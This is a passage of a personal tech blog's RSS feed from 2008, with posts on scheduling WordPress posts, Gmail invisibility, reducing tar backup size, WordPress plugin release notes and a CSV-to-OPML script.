&lt;p&gt;Matt and his AutoMattic team took care of bonded labour like us, and had the good heart to put in the capability of scheduling posts in WordPress (More commonly known as “&lt;em&gt;future posting&lt;/em&gt;”). So, all you have to do is say “Hey Wordy boy, here is a bagful of my posts, but don’t you dare release them before I’ve gone for my hawaii vacation. And yeah, one at a time so it can keep your tummy full till I return.”&lt;/p&gt;
&lt;p&gt;Well, being honest, you will have to do just a tad little bit more than that, but it’ll be a teeny weeny bit only, I promise. Read on.&lt;/p&gt;
&lt;p&gt;If you are using the WordPress web interface to make your posts (are you still living in the darkages? Didn’t you hear about BlogJet, Live Writer, Zoundry?), then all you have to do is that when you make your post, before pressing the publish button, look towards your lower left hand corner (No man, I mean the lower left corner of “the screen”, not your table). You will see something like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/wordpress_future_post_time1.png" alt="Wordpress_future_post_time1"&gt;&lt;/p&gt;
&lt;p&gt;Now, all you gotta do is, check that little checkbox that says “Edit Timestamp” and then change the date and time to the time when you want to be actually published. Click “Publish”, and then….well, that’s it. You are done. It will look something like this (the post will be published on Feb 26, 9:30 AM):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/wordpress_future_post_time2.png" alt="Wordpress_future_post_time2"&gt;&lt;/p&gt;
&lt;p&gt;But, you are indeed keeping up with the modern times, you say, and are using cool desktop client tools, e.g. ,I use BlogJet (and that too over linux, read &lt;strong&gt;&lt;a href="https://shantanugoel.com/2008/01/29/blogjet-blog-faster-blog-better-now-in-linux-too-with-a-hidden-bonus.html"&gt;this&lt;/a&gt;&lt;/strong&gt; for more). So what can we do about that. Its pretty simple really, almost the same thing. Again, look in the lower left corner, and you see:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/blogjet_future_post_time1.png" alt="Blogjet_future_post_time1"&gt;&lt;/p&gt;
&lt;p&gt;Obviously, you are intelligent enough to modify it to look like this before pressing the lovely, earthy publish button:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/blogjet_future_post_time2.png" alt="Blogjet_future_post_time2"&gt;&lt;/p&gt;
&lt;p&gt;All set? No, there is one little difference in this method. When you are posting through a desktop client, the post time seem to be interpreted in GMT in WordPress, so you have to discount for that. e.g., as an example if my time zone is +6:00 wrt GMT, I have put in the time as 3:30 AM in BlogJet to achieve the same publish time (Feb 26, 09:30 AM local time).&lt;/p&gt;
&lt;p&gt;Hope this was easy enough for you. If it was, then don’t forget to spend the extra time on weekdays buying groceries and taking some burden off your wife/mom/etc.&lt;/p&gt;
&lt;p&gt;**PS: **This post was future-posted as well, and through BlogJet, if you must ask.&lt;/p&gt;</content></item><item><title>HollowMan Redux: Google Presents Gmail Users the Invisibility Cloak</title><link>https://shantanugoel.com/2008/02/25/hollowman-redux-google-presents-gmail-users-the-invisibility-cloak/</link><pubDate>Mon, 25 Feb 2008 18:53:20 +0000</pubDate><guid>https://shantanugoel.com/2008/02/25/hollowman-redux-google-presents-gmail-users-the-invisibility-cloak/</guid><description>&lt;p&gt;Google gave us a nice little present today. The power to be all-seeing but yet still remaining unseen. Yes, now you can be “invisible” in your gmail chat session.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/gmail_chat_invisible_status.png" alt="Gmail_chat_invisible_status"&gt;&lt;/p&gt;
&lt;p&gt;But beware, don’t fire up your gtalk, or you will again be as visible as a 100 watt bulb in a 4x4 room at night.&lt;/p&gt;</description><content>&lt;p&gt;Google gave us a nice little present today. The power to be all-seeing but yet still remaining unseen. Yes, now you can be “invisible” in your gmail chat session.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/gmail_chat_invisible_status.png" alt="Gmail_chat_invisible_status"&gt;&lt;/p&gt;
&lt;p&gt;But beware, don’t fire up your gtalk, or you will again be as visible as a 100 watt bulb in a 4x4 room at night.&lt;/p&gt;</content></item><item><title>X-Men Are Here, Only That They Are In Your Hands</title><link>https://shantanugoel.com/2008/02/25/x-men-are-here-only-that-they-are-in-your-hands/</link><pubDate>Mon, 25 Feb 2008 14:50:23 +0000</pubDate><guid>https://shantanugoel.com/2008/02/25/x-men-are-here-only-that-they-are-in-your-hands/</guid><description>&lt;p&gt;Who wouldn&amp;rsquo;t agree that Morph is most probably the coolest mutant (besides Wolverine of course :) ). Now, it seems that the Finnish Giant Nokia has a lot of X-Men lovers as well, as they put out their latest offering to us lesser mortals. They call it &lt;a href="http://www.nokia.com/A4852062"&gt;The Morph Concept&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/nokia_2Dmorph_2Dconcept_2Dnano_2Dmaterials_small.jpg" alt="Nokia Morph Concept Nano Materials"&gt;&lt;/p&gt;
&lt;p&gt;The Morph concept device is a bridge between highly advanced technologies and their potential benefits to end-users. This device concept showcases some revolutionary leaps being explored by Nokia Research Center (NRC) in collaboration with the Cambridge Nanoscience Centre (United Kingdom) – nanoscale technologies that will potentially create a world of radically different devices that open up an entirely new spectrum of possibilities.&lt;/p&gt;</description><content>&lt;p&gt;Who wouldn&amp;rsquo;t agree that Morph is most probably the coolest mutant (besides Wolverine of course :) ). Now, it seems that the Finnish Giant Nokia has a lot of X-Men lovers as well, as they put out their latest offering to us lesser mortals. They call it &lt;a href="http://www.nokia.com/A4852062"&gt;The Morph Concept&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/nokia_2Dmorph_2Dconcept_2Dnano_2Dmaterials_small.jpg" alt="Nokia Morph Concept Nano Materials"&gt;&lt;/p&gt;
&lt;p&gt;The Morph concept device is a bridge between highly advanced technologies and their potential benefits to end-users. This device concept showcases some revolutionary leaps being explored by Nokia Research Center (NRC) in collaboration with the Cambridge Nanoscience Centre (United Kingdom) – nanoscale technologies that will potentially create a world of radically different devices that open up an entirely new spectrum of possibilities.&lt;/p&gt;
&lt;p&gt;Yeah, yeah, museum-shmuseum, nanotech-shanotech. All I know is that until I see this thing up on &lt;code&gt;put your favourite retailer name here&lt;/code&gt;, my call is &amp;ldquo;vaporware&amp;rdquo;.&lt;/p&gt;</content></item><item><title>TIP: Automating Website Backups - Part II (Reducing Backup Size)</title><link>https://shantanugoel.com/2008/02/24/tip-automating-website-backups-part-ii-reducing-backup-size/</link><pubDate>Sun, 24 Feb 2008 21:43:13 +0000</pubDate><guid>https://shantanugoel.com/2008/02/24/tip-automating-website-backups-part-ii-reducing-backup-size/</guid><description>&lt;p&gt;Last week I had written a short guide on “&lt;a href="https://shantanugoel.com/2008/02/17/tip-automating-website-backups.html"&gt;Automating Website Backups&lt;/a&gt;”. I received some good comments/suggestions about it from &lt;a href="http://jazzuncut.blogspot.com/"&gt;Jasvinder&lt;/a&gt; through e-mail about other aspects that should be addressed. So, thought of doing a few follow ups to that post. This is done in more of a FAQ fashion, so as to answer some of the questions that may arise after reading the first post. Each post will answer one of the questions listed below in detail&lt;/p&gt;</description><content>&lt;p&gt;Last week I had written a short guide on “&lt;a href="https://shantanugoel.com/2008/02/17/tip-automating-website-backups.html"&gt;Automating Website Backups&lt;/a&gt;”. I received some good comments/suggestions about it from &lt;a href="http://jazzuncut.blogspot.com/"&gt;Jasvinder&lt;/a&gt; through e-mail about other aspects that should be addressed. So, thought of doing a few follow ups to that post. This is done in more of a FAQ fashion, so as to answer some of the questions that may arise after reading the first post. Each post will answer one of the questions listed below in detail&lt;/p&gt;
&lt;p&gt;Questions to be answered:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1:&lt;/strong&gt; I have strict limits on webspace/email attachment etc. Can anything be done to reduce the backup size?&lt;/p&gt;
&lt;p&gt;**Q2: **Cron? Using tar, making up the script file is enough command line for me. Isn’t there an easy way?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3:&lt;/strong&gt; Well, backup is all hunky-dory. Now, how do I restore?&lt;/p&gt;
&lt;p&gt;Want the answers? Read on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1:&lt;/strong&gt; I have strict limits on webspace/email attachment etc. Can anything be done to reduce the backup size?&lt;/p&gt;
&lt;p&gt;**A1: **Sure, we can do quite a lot about it. If your concern is just the webspace, and you want a very simple restoring process, you should be looking for reducing the number of backups that you save on the server, instead of reducing the size of the backup (you anyways have all the backups mailed out to you). The number of backups can be reduced by manipulating the command given in step 1 of the previous post. To recall, the command was:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar cvzf ~/backups/backup_&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;date +%w&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;.tgz ~/public_html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, the &lt;code&gt;date +%w&lt;/code&gt; part ensured that at any time there will be 7 previous backups at max stored on the server (backup_0.tgz, backup_1.tgz,…). You can remove this part and every day your previous backup will be overwritten by the new one, thus using space for just 1 backup. And since you have all the backups emailed to you as well, you don’t need to worry about restoring back to any point in time. Its just that having the backup on your server saves some time if you do have to restore since you don’t have to upload the backup file onto the server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BUT&lt;/strong&gt;, if you must place restriction on your backup size (backup is so big that that your email can’t handle it as an attachment or you are really really pressed for webspace or backing up all the files takes up too much time/cpu of the host server), then you can save yourself by backing up only the files that need to be backed up. What does that mean? All CMS (Content Management Systems like Joomla, WordPress, Drupal, or your custom ones, or even a manually made site) will have some/many static components/files which don’t change with time, and so these files don’t need to be backed up every time. You can just backup the files that change or the ones that get added (like images, uploads etc).&lt;/p&gt;
&lt;p&gt;So, all you have to do is determine which files you &lt;strong&gt;don’t&lt;/strong&gt; want backed up, create a list for them and supply it to the _tar _command, with the _—exclude-from _option, and tar will dutifully avoid zipping those files up, leaving you with only the most needed files.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar cvzf ~/backups/backup_&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;date +%w&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;.tgz ~/public_html —exclude-from&lt;span style="color:#f92672"&gt;=&lt;/span&gt;exclude_these_files.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, there are two ways to go about determining which files you don’t need. First is that you simply run “&lt;em&gt;ls -R &amp;gt; exclude_these_files.txt”&lt;/em&gt; on the root of your home directory on the server (the folder beneath which your &lt;em&gt;public_html&lt;/em&gt; or &lt;em&gt;www&lt;/em&gt; folder resides). Then fire up your favourite editor and load this file into that and delete the file names from the file which you want to back up, leaving only those filenames in the file which you don’t want to backup. Generally, you would be interested in backing up any files that you have uploaded yourself onto the server (like images, archives, songs, any other files that you uploaded, any files that you modified, etc)&lt;/p&gt;
&lt;p&gt;If you are not sure which files you should be backing up and you don’t want to backup all files, then there is still hope for you, but only if you are reading this guide before starting a new site &lt;img src="https://shantanugoel.com/img/uploads/smile3.gif" alt=""&gt;. Because then, before making any posts or customizations, you can just run the above mentioned &lt;em&gt;ls&lt;/em&gt; command, and you will have a list of the default files that are always there with your CMS and you don’t need to back them up. However, make sure that if you ever change any of the default files, do delete their names from the exclude_these_files.txt.&lt;/p&gt;
&lt;p&gt;That’s it for today. Lemme know if you have any doubts, or if you would like to see any other questions answered in this series. The question that will be answered next time is:&lt;/p&gt;
&lt;p&gt;**Q2: **Cron? Using tar, making up the script file is enough command line for me. Isn’t there an easy way?&lt;/p&gt;</content></item><item><title>Project: shantz-wp-qotd Updated and shantz-wp-prefix-suffix released</title><link>https://shantanugoel.com/2008/02/24/project-shantz-wp-qotd-updated-and-shantz-wp-prefix-suffix-released/</link><pubDate>Sun, 24 Feb 2008 09:44:24 +0000</pubDate><guid>https://shantanugoel.com/2008/02/24/project-shantz-wp-qotd-updated-and-shantz-wp-prefix-suffix-released/</guid><description>&lt;p&gt;I updated my wordpress plugin shantz-wp-qotd. (A feature rich, customizable wordpress quotes plugin) today to version 1.2.0. The new version has the following changes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added option to exclude pages from displaying quotes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed a bug that quotes source selection checkboxes always remain checked after updating settings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cosmetic: Fixed a few spelling mistakes :)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/screenshot-1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D1_thumb.jpg" alt="Screenshot-1"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/screenshot-2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D2_thumb1.jpg" alt="Screenshot-2"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/screenshot-3.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D3_thumb.jpg" alt="Screenshot-3"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/screenshot_2D1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D1_thumb1.jpg" alt="Screenshot-1"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/screenshot_2D2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D2_thumb.jpg" alt="Screenshot-2"&gt;&lt;/a&gt;&lt;/p&gt;</description><content>&lt;p&gt;I updated my wordpress plugin shantz-wp-qotd. (A feature rich, customizable wordpress quotes plugin) today to version 1.2.0. The new version has the following changes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added option to exclude pages from displaying quotes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed a bug that quotes source selection checkboxes always remain checked after updating settings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cosmetic: Fixed a few spelling mistakes :)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/screenshot-1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D1_thumb.jpg" alt="Screenshot-1"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/screenshot-2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D2_thumb1.jpg" alt="Screenshot-2"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/screenshot-3.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D3_thumb.jpg" alt="Screenshot-3"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/screenshot_2D1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D1_thumb1.jpg" alt="Screenshot-1"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/screenshot_2D2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D2_thumb.jpg" alt="Screenshot-2"&gt;&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Shantz WordPress Prefix Suffix</title><link>https://shantanugoel.com/2008/02/23/shantz-wordpress-prefix-suffix/</link><pubDate>Sat, 23 Feb 2008 21:38:39 +0000</pubDate><guid>https://shantanugoel.com/2008/02/23/shantz-wordpress-prefix-suffix/</guid><description>&lt;p&gt;Shantz WP Prefix Suffix&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Description ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Shantz WP Prefix Suffix is a light-weight and easy to use plugin which allows you to add any text and/or HTML/CSS code to your posts and/or pages as prefix (top / beginning), middle and/or suffix (bottom /end). (That includes even any new or old posts and pages and even your feed)
Examples of use cases could be to include your copyright message, advertisements (like adsense, etc), permalinks, your other site links, any other custom messages. This works very fine with ads as you don&amp;rsquo;t have to manipulate your posts or templates to add the ad code, shantz-wp-prefix-suffix will do that for you automatically for all posts and you also get basic controls whether to &amp;ldquo;display&amp;rdquo; the ad or not (on home pages, excerpts, etc).&lt;/p&gt;</description><content>&lt;p&gt;Shantz WP Prefix Suffix&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Description ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Shantz WP Prefix Suffix is a light-weight and easy to use plugin which allows you to add any text and/or HTML/CSS code to your posts and/or pages as prefix (top / beginning), middle and/or suffix (bottom /end). (That includes even any new or old posts and pages and even your feed)
Examples of use cases could be to include your copyright message, advertisements (like adsense, etc), permalinks, your other site links, any other custom messages. This works very fine with ads as you don&amp;rsquo;t have to manipulate your posts or templates to add the ad code, shantz-wp-prefix-suffix will do that for you automatically for all posts and you also get basic controls whether to &amp;ldquo;display&amp;rdquo; the ad or not (on home pages, excerpts, etc).&lt;/p&gt;
&lt;p&gt;Features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Add Prefix to all your posts automatically.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add Prefix to all your pages automatically.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add Suffix to all your posts automatically.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add Suffix to all your pages automatically.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can control the number of paragraphs/words after which your code/text should be added while using the &amp;ldquo;middle&amp;rdquo; option.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Prefix/Suffix can be plain text, HTML, CSS, PHP, javascript etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optionally display/not display on home page/excerpts etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Control plugin order for fine control over where your code/text is displayed.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Download: &lt;a href="http://wordpress.org/extend/plugins/shantz-wp-prefix-suffix/"&gt;http://wordpress.org/extend/plugins/shantz-wp-prefix-suffix/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Installation ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The shantz-wp-prefix-suffix plugin can be installed in following easy steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Unzip &amp;ldquo;shantz-wp-prefix-suffix&amp;rdquo; archive and put all files into your &amp;ldquo;plugins&amp;rdquo; folder (/wp-content/plugins/). It is advisable to create a sub directory into the plugins folder, like /wp-content/plugins/shantz-wp-prefix-suffix/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Activate the plugin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to Options &amp;gt; Shantz WP Prefix Suffix, adjust your settings and save them.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;== Frequently Asked Questions ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;= How do I add My copyright message and post permalink so as to protect myself against RSS feed scrapers =
Add the following code to &amp;ldquo;Suffix text box&amp;rdquo; and check the &amp;ldquo;enable php input&amp;rdquo; option (without the &amp;ldquo;pre&amp;rdquo; and &amp;ldquo;code&amp;rdquo; tags. I put them there for the wordpress readme parser):&lt;/p&gt;
&lt;p&gt;= How do I use this for Adsense =
You can either paste your javascript code in the text box and ads will appear automatically in your posts. If you use an ad management plugin like adsense-manager then you can paste the code given by that plugin in the text box, so that all your posts/pages will be &amp;ldquo;able&amp;rdquo; to display the code but actual display is controlled by your ad management plugin.&lt;/p&gt;
&lt;p&gt;= How to upgrade to a new version =
Use the automatic upgrade option in WordPress or simply overwrite the old files with the new ones.&lt;/p&gt;
&lt;p&gt;= How can I contribute to keep the development of this plugin going =
You could add a link to my blog from your site or click on the donate link on the settings screen :)&lt;/p&gt;
&lt;p&gt;= My question isn&amp;rsquo;t listed here =
Post a comment here, or contact me through the contact page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Screenshots ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can see the plugin in action on this site on any post (The links at top of each post, the adsense ads in the middle of the posts and the copyright notice and feed subscription links at the bottom)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Version History ==&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.1.4&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Fixed input field size issues on settings page
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Fixed the issue where the settings were not being saved
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.1.3&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Removed some debug code that crept into last version
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.1.2&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Added option for controlling plugin priority to resolve order issues if there are other plugins that add text to your posts.
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* WP 2.7.1 Compatibility
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Minor cosmetic changes
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.1.1&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Fixed a bug that was causing conflicts with some other plugins that add content to end of posts
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.1.0&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Added option to add code/text to the middle of the posts
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.0.5&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Added option to enable/disable adding prefix/suffix to home page
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Added option to enable/disable adding prefix/suffix to excerpts
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Fixed a bug in which the prefix/suffix was displaying even if you set it not to
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.0.4&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Added option for using php code for prefix and suffix
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.0.3&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Fixed a bug that was causing prefix-suffix to not display under certain conditions
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.0.2&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Fixed a typo that was causing errors while activating the plugin
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.0.1&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Options to not display the prefix/suffix on pages also works for WP &amp;lt; 2.1
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Version 1.0.0&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;* Initial version
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;</content></item><item><title>Site Updates</title><link>https://shantanugoel.com/2008/02/22/site-updates/</link><pubDate>Fri, 22 Feb 2008 05:05:04 +0000</pubDate><guid>https://shantanugoel.com/2008/02/22/site-updates/</guid><description>&lt;p&gt;The site received a lot of new visitors yesterday as one of the small-time things that I do, received front page treatment at &lt;a href="http://lifehacker.com/358749/retrieve-any-file-on-your-home-computer-via-email-windows-edition"&gt;lifehacker&lt;/a&gt;. Thank you, Adam Pash, and thanks Murphy, for the original idea.&lt;/p&gt;</description><content>&lt;p&gt;The site received a lot of new visitors yesterday as one of the small-time things that I do, received front page treatment at &lt;a href="http://lifehacker.com/358749/retrieve-any-file-on-your-home-computer-via-email-windows-edition"&gt;lifehacker&lt;/a&gt;. Thank you, Adam Pash, and thanks Murphy, for the original idea.&lt;/p&gt;</content></item><item><title>shantz-csv-to-opml</title><link>https://shantanugoel.com/2008/02/22/shantz-csv-to-opml/</link><pubDate>Fri, 22 Feb 2008 04:53:53 +0000</pubDate><guid>https://shantanugoel.com/2008/02/22/shantz-csv-to-opml/</guid><description>&lt;p&gt;&lt;strong&gt;INTRODUCTION&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a very simple script that I did for a friend. It can be used to quickly generate blogrolls.&lt;/p&gt;
&lt;p&gt;Input: csv file with blog author names and blog links&lt;/p&gt;
&lt;p&gt;Output: OPML file that can be imported into many blogging/blogrolling software and websites (e.g. wordpress, blogrolling.com, etc)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shantz-csv-to-opml.pl &amp;lt;input file in csv format&amp;gt; &amp;lt;output opml filename&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Input File Format:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Each line should be like this:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;Name of Author&amp;gt;,&amp;lt;bloglink&amp;gt;,&amp;lt;bloglink&amp;gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;e.g.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Shantanu Goel, http://tech.shantanugoel.com, http://blog.shantanugoel.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There can be any number of blogs for any author, if blogs are more than one, then multiple entries for that author will be made in opml file each indexed with increasing number like Shantanu Goel 1, Shantanu Goel 2, etc&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;INTRODUCTION&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a very simple script that I did for a friend. It can be used to quickly generate blogrolls.&lt;/p&gt;
&lt;p&gt;Input: csv file with blog author names and blog links&lt;/p&gt;
